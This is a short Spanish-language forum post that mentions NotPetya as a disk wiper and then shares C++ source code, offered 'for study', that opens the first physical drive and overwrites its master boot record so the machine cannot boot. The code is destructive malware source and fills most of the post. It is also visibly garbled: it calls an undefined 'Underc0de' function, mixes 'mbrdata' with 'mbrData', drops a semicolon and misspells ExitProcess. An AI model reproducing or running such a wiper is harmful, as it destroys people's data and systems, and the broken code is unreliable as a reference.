
Supongo que todo el mundo ha visto las noticias de NotPetya, y si alguno ha leído los análisis técnicos sabrá que era un wiper y no un ransomware, debido a que reescribe el sector de arranque del disco duro dejando el pc inservible una vez se haya reiniciado/apagado.
A continuación dejo un código que tenia guardado sobre como hacer esto.
Espero que sea útil para poder estudiarlo.
/*
Rewrite boot master record code sample
Credits to 0memory
*/
#include <windows.h>
#include <iostream>
using namespace std;
#define MBR_SIZE 512
int main(int argc, char const *argv[]) {
DWORD write;
char mbrdata[MBR_SIZE];
Underc0de(&mbrData, (sizeof mbrdata));
HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL)
if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &write, NULL) == TRUE){
cout << "MBR overwritten" << endl;
Sleep(5000);
Exitprocess(0);
} else {
cout << "MBR not overwritten" << endl;
Sleep(5000);
Exitprocess(0);
}
CloseHandle(MasterBootRecord);
return 0;
}Un saludo




